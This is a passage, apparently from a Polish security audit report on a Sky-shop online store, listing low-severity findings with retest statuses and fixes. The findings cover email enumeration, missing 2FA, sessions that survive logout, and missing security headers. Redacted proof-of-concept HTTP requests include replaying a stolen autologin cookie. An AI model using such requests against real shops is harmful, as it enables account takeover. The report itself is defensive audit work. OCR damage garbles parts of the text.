POST /register/ HTTP/2

Host: [REDACTED].mysky-shop.pl

Cookie: SERVERID=ap[..]eb; cc_cookie={"c[..]Z"}; _fbp=fb.[..]QEA; device_view=full; js_hash=c4[..]12;
PHPSESSID=i0[..]rc

Content-Length: 347

Cache-Control: max-age=0

Origin: https://[REDACTED].mysky-shop.pl
Content-Type: application/x-www-form-urlencoded
User-Agent: [..]

Referer: https://[REDACTED].mysky-shop.pl/register/
[..]

user_email=audytor%2BSkyshop01%[REDACTED]&password=[..]&[..]

Przyktadowa odpowied? aplikacji:

HTTP/2 200 OK

Server: Apache

Expires: Thu, 19 Nov 1981 ©8:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache

Vary: Accept-Encoding

Content-Length: 203898

Content-Type: text/html; charset=utf-8
X-Powered-By: Sky-shop

<!DOCTYPE html>

<html lang="pl" currency="PLN" class=
[..]

<body d[..]class="core_messagelListShow chrome prevent-scroll prevent-scroll-desktop" data-errors-
list=""'Wystgpil nieoczekiwany b%ad'|'Podany adres e-mail zostal juz zarejestrowany w naszym
sklepie.'|'error'" data-hurt-price-type="netto brutto" data-hurt-price-text="" data-tax="23"
style="padding-right: 15px; user-select: auto;">

[..]

>

LOKALIZACIA

[REDACTED]

REKOMENDACIA

Zaleca sie uzywanie jednolitego komunikatu w przypadku istniejacych i nieistniejacych kont.



[IMPLEMENTED][INFO] SECURITUM-2422444-013: Brak opcji wtaczenia
2FA

STATUS PO RETESTACH (03.08.2026)

Podczas retestu potwierdzono dostepnos¢ mechanizmu (2FA).

5&'} Konfiguracja v @ Pomoc v 8 Moje konto v

Ustawienia sklepu

:nt konfiguracji
Modut B2B
Hosting konFiguruj swoj sklep z pomoc3 As
Bezpieczenstwo Captcha (CloudFlare Turnstille)
Wyglad sklepu Certyfikat SSL
Statyczne teksty sklepu Dwusktgglnikowe logowanie (2FA)
Pliki Zabloko.v_v.ane adresy IP
Historia —

Kolejka automatycznych zadan

Aplikacja mobilna ‘gro

(0]:1Y

W trakcie testow nie stwierdzono mozliwosci zabezpieczenia konta z uzyciem Two-Factor-Authentication
(2FA).

W szczegdlnosci konta administratoréw w aplikacji powinny posiadac opcje 2FA.

2FA to mechanizm dodajacy dodatkowa warstwe bezpieczefstwa do konta - podczas procesu logowania, po
podaniu poprawnych danych logowania, uzytkownik jest proszony o podanie Time-Based One Time Password
(totP) w formie kilku cyfr (lub znakow) wygenerowanych przez, np. aplikacje mobilna. Konta skonfigurowane
z 2FA oferujg wiekszy poziom bezpieczenstwa przeciwko atakom stownikowym/brute-force. Ponadto w
przypadku, gdy atakujacy pozyska dane logowania do konta ofiary, np. poprzez wyciek hasta w innym,
niezaleznym systemie, nie bedzie on w stanie zalogowac sie na konto uzytkownika bez kodu 2FA.

LOKALIZACIA

https://[REDACTED].mysky-shop.pl/

REKOMENDACIA

Zalecane jest wdrozenie 2FA jako opcjonalna funkcjonalnos¢, ktéra moze zostaé wtaczona na prosbe
uzytkownika.

securitum



[IMPLEMENTED][INFO] SECURITUM-2422444-014: Wylogowanie nie
powoduje uniewaznienia sesji

STATUS PO RETESTACH (03.08.2026)

Rekomendacja zostata wdrozona. Po wylogowaniu uzytkownika, sesja jest uniewazniana przez serwer.

(0]:1Y

W trakcie audytu zaobserwowano, iz w momencie nacisniecia przycisku ,Wyloguj” sesja nie jest uniewazniana.
Atakujacy, ktoremu uda sie pozyskac ciasteczko autologin, bedzie mogt wykorzystac go do uzyskania dostepu
do aplikacji.

Wiecej informacji:

e https://cheatsheetseries.owasp.org/cheatsheets/Session Management Cheat Sheet.html

e https://owasp.org/Topl0/A07 2021-Identification _and Authentication Failures

e https://cheatsheetseries.owasp.org/cheatsheets/Authentication Cheat Sheet.html

SZCZEGOLY TECHNICZNE (PROOF OF CONCEPT)

W celu potwierdzenia wystepowania problemu, nalezy wykonac nastepujace kroki:

Uzytkownik loguje sie do aplikacji.
Nastepnie naciska przycisk ,Wylogu;”.
Atakujacy ,w dowolny sposdb” pozyskuje ciasteczko autologin.

How N

Ponizej zaprezentowano wystanie zapytania z ,nieaktywnym” tokenem:

GET /youraccount/ HTTP/2

Host: [REDACTED].mysky-shop.pl

Cookie: SERVERID=ap[..]eb; PHPSESSID=dg[..]ld; autologin=eyJ[..]iJ9
User-Agent: [..]

Referer: https://[REDACTED].mysky-shop.pl/index/login/done/back_url/Lw==
[..]

5. W odpowiedzi aplikacja potwierdza aktywnos¢ tokena zwracajac dane:

HTTP/2 200 OK

Server: Apache

Expires: Thu, 19 Nov 1981 ©8:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache

Set-Cookie: PHPSESSID=6[..]1; path=/; HttpOnly
Set-Cookie: autologin=eyJ[..J9; expires=Fri, 29 Jan 2027 13:21:02 GMT; Max-Age=31536000; path=/;
HttpOnly

Vary: Accept-Encoding

Content-Length: 133269

Content-Type: text/html; charset=utf-8
X-Powered-By: Sky-shop

[..]

<!DOCTYPE html>
[.]

<span class="sky-f-small-medium">E-mail:</span>



https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html
https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/
https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html

<span class="sky-f-small-regular">audytorl3+Skyshop@l@securitum.pl</span>
</div>

[.]

W pliku [REDACTED] znajduje sie kod ktory w trakcie wylogowania tylko ustawia ciasteczko na wartosc 0:

[REDACTED]

LOKALIZACIA

[..]

REKOMENDACIA

Aplikacja powinna uniewaznic sesje uzytkownika bezposrednio po naci$nieciu przycisku ,Wyloguj”.

securitum



[IMPLEMENTED][INFO] SECURITUM-2422444-015: Brak nagtowka Strict-
Transport-Security

STATUS PO RETESTACH (13.08.2026)

Rekomendacja  zostata ~ wdrozona.  Nagtéwek  Strict-Transport-Security: max-age=86400;
includeSubDomains jest obecny w odpowiedziach HTTP aplikacji. Zaleca sie zwiekszenie wartosci max-age do
minimum 31536000 (1 rok) zgodnie z wczesniejsza rekomendacja.

STATUS PO RETESTACH (03.08.2026)

Rekomendacja nie zostata wdrozona. Nagtéwek Strict-Transport-Security nie jest zwracany w
odpowiedziach HTTP.

(0]:1Y

W odpowiedziach aplikacji nie zidentyfikowano wdrozonego nagtowka HTTP: Strict-Transport-Security
(HSTS).

Wprowadzenie nagtowka HSTS wymusza na przegladarce stosowanie szyfrowanego potaczenia HTTPS we
wszystkich odwotaniach do domeny aplikacji. Nawet reczne wpisanie nazwy protokotu ,http” w pasku adresu
nie spowoduje wystania nieszyfrowanych pakietéw.

Wdrozenie tego nagtowka jest traktowane jako ogdlna dobra praktyka hardeningowa w aplikacjach
webowych.

Wiecej informacji:

e https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Strict-Transport-Security

e https://sekurak.pl/hsts-czyli-http-strict-transport-security.

LOKALIZACIA

[REDACTED]

REKOMENDACIA

W odpowiedziach HTTP serwera powinien znajdowac sie nagtowek:

Strict-Transport-Security: max-age=31536000

Alternatywnie: istnieje mozliwo$¢ zdefiniowana nagtéwka HSTS réwniez dla wszystkich poddomen:

Strict-Transport-Security: max-age=31536000; includeSubDomains

Ponadto, istnieje mozliwo$¢ skorzystania z tzw. listy preload, ktéra domyslnie zapisana jest w Zrodtach
popularnych przegladarek WWW. Powoduje to, ze przegladarka uzytkownika, ktéry pierwszy raz nawiazuje
potaczenie z aplikacja, od razu wymusi wykorzystanie szyfrowanego, bezpiecznego kanatu komunikacji.

Strict-Transport-Security: max-age=31536000; preload

Wiecej informacji:

e https://hstspreload.org
e https://www.chromium.org/hsts



https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Strict-Transport-Security
https://sekurak.pl/hsts-czyli-http-strict-transport-security/
https://hstspreload.org/
https://www.chromium.org/hsts

e https://cheatsheetseries.owasp.org/cheatsheets/HTTP Strict Transport Security Cheat Sheet.ht
ml

8(12) 3523382 vww.securitum.pl

securitum@securitum.p vww.sekurak.p

securitum


https://cheatsheetseries.owasp.org/cheatsheets/HTTP_Strict_Transport_Security_Cheat_Sheet.html
https://cheatsheetseries.owasp.org/cheatsheets/HTTP_Strict_Transport_Security_Cheat_Sheet.html

STATUS PO RETESTACH (03.08.2026)

Rekomendacja zostata wdrozona. W odpowiedziach HTTP aplikacji obecny jest nagtowek:

‘ Referrer-Policy: strict-origin-when-cross-origin

oris

Zidentyfikowano, ze aplikacja nie korzysta z nagtdwka HTTP Referrer-Policy.

Nagtowek ten pozwala okresli¢, jaka informacja ma by¢ umieszczana w nagtowku Referer wysytanym w
zapytaniach HTTP. Istnieje mozliwos¢ catkowitego wytgczenia wysytania tego nagtowka, co z kolei moze
pozwoli¢ unikna¢ wyciekéw danych do zewnetrznych serwerdw.

Wiecej informacji:

e https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referrer-Policy
e https://scotthelme.co.uk/a-new-security-header-referrer-policy/

LOKALIZACIA

[REDACTED]

REKOMENDACIA

W odpowiedziach HTTP serwera powinien znajdowac sie nagtéwek Referrer-Policy:

‘ Referrer-Policy: [wartosc]

gdzie w miejscu [wartosé¢] powinna znajdowac sie jedna z ponizszych wartosci:

e no-referrer: nagtowek Referer nie bedzie nigdy wysytany w zapytaniach,

e origin: w nagtéwku Referer umieszczane jest wytacznie pochodzenie witryny odsytajacej,

e origin-when-cross-origin: nagtéwek Referer zawiera petny URL przy zapytaniach w ramach tego
samego pochodzenia, w pozostatych — zawiera wytacznie pochodzenie witryny odsytajace;j,

e same-origin: nagtowek Referer zawiera petny URL przy zapytaniach w ramach tego samego
pochodzenia, w pozostatych zapytaniach nagtowek Referer nie jest wysytany.

+48 (12) 3523382
securitum@securitum.pl

securitum


https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referrer-Policy
https://scotthelme.co.uk/a-new-security-header-referrer-policy/

STATUS PO RETESTACH (03.08.2026)

Rekomendacja nie zostata wdrozona. Nagtowek X-Content-Type-Options nie jest zwracany w odpowiedziach
HTTP.

oris

W odpowiedziach aplikacji nie zidentyfikowano wdrozonego nagtéwka X-Content-Type-Options.

Nagtowek ten chroni przed atakami polegajacymi na tzw. MIME-sniffingu, czyli odgadywaniu przez
przegladarki webowe typu MIME odpowiedzi na podstawie tresci odpowiedzi zamiast bazowad na nagtowku
Content-Type. Moze to prowadzi¢ do wymuszenia na przegladarce zatadowania zasobu jako HTML, nawet jesli
jego typ to np. application/json. W efekcie wykonany moze zostad atak XSS.

Wdrozenie tego nagtdéwka jest traktowane jako ogdlna dobra praktyka hardeningowa w aplikacjach
webowych.

Wiecej informacji:

e https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Content-Type-Options

LOKALIZACIA

[REDACTED]

REKOMENDACIA

We wszystkich odpowiedziach serwera powinien zosta¢ dodany nagtéwek:

‘ X-Content-Type-Options: nosniff

+48 (12) 3523382 ecuritum.pl
securitum@securitum.pl w.sekurak.pl

securitum


https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Content-Type-Options

[IMPLEMENTED][INFO] SECURITUM-2422444-018: Ujawnianie
nadmiarowych informacji o sSrodowisku w odpowiedzi HTTP

STATUS PO RETESTACH (03.08.2026)

Rekomendacja zostata wdrozona. Wartos¢ nagtdwka Server zostata zmieniona z Apache na Skyshop.

(0]:1Y

Testowana aplikacja zwraca w odpowiedzi HTTP nadmiarowe informacje
o wykorzystywanych technologiach. Takie zachowanie moze pomaoc atakujgcemu w lepszym sprofilowaniu
Srodowiska aplikacji, co moze zostac nastepnie wykorzystane do przeprowadzania dalszych atakow.

Wiecej informacji:

e https://wiki.owasp.org/index.php/Testing for Web Application Fingerprint (OWASP-IG-004)

e https://owasp.org/www-project-web-security-testing-guide/stable/4-
Web Application Security Testing/01-Information Gathering/02-Fingerprint Web Server

SZCZEGOLY TECHNICZNE (PROOF OF CONCEPT)

Przyktad odpowiedzi HTTP z nadmiarowymi informacjami:

HTTP/2 200 OK

Server: Apache

Expires: Thu, 19 Nov 1981 ©8:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache

Vary: Accept-Encoding

Content-Type: text/html; charset=utf-8
X-Powered-By: Sky-shop

<!DOCTYPE html>
[.]

LOKALIZACIA

[REDACTED]

REKOMENDACIA

Zaleca sie usuna¢ z odpowiedzi HTTP nadmiarowy nagtowek server, ktéry ujawnia informacje
o wykorzystywanej technologii.


https://wiki.owasp.org/index.php/Testing_for_Web_Application_Fingerprint_(OWASP-IG-004)
https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/01-Information_Gathering/02-Fingerprint_Web_Server
https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/01-Information_Gathering/02-Fingerprint_Web_Server

[IMPLEMENTED][INFO] SECURITUM-2422444-019: Nadmiarowa metoda
HTTP — HEAD

STATUS PO RETESTACH (03.08.2026)

Rekomendacja zostata wdrozona. Serwer zwraca kod 4@5 Method Not Allowed dla Zadan wystanych metoda
HTTP HEAD.

(0]:1Y

Serwer aplikacji obstuguje metode HTTP HEAD. Wykorzystanie tej metody przez atakujacego moze usprawnic
atak wykrywania zasobow na serwerze. Metoda HEAD zwraca w odpowiedzi status obecnosci wskazanego
zasobu, nie zwracajac jego zawartosci.

Wiecej informacji:

e https://sekurak.pl/protokol-http-podstawy

SZCZEGOLY TECHNICZNE (PROOF OF CONCEPT)

Ponizej zademonstrowano przyktadowe zadanie do aplikacji z wykorzystanie metody HTTP HEAD.

HEAD / HTTP/2
Host: [REDACTED].mysky-shop.pl

Odpowied? aplikacji:

HTTP/2 200 OK

Server: Apache

Expires: Thu, 19 Nov 1981 ©8:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache

Set-Cookie: PHPSESSID=d[..]1; path=/; HttpOnly
Content-Type: text/html; charset=utf-8
X-Powered-By: Sky-shop

Set-Cookie: SERVERID=apache-web; path=/

LOKALIZACIA

[REDACTED]

REKOMENDACIA

Jezeli to mozliwe, zaleca sie wytgczenie w ustawieniach serwera WWW wsparcia dla metody HEAD protokotu
HTTP.


https://sekurak.pl/protokol-http-podstawy/

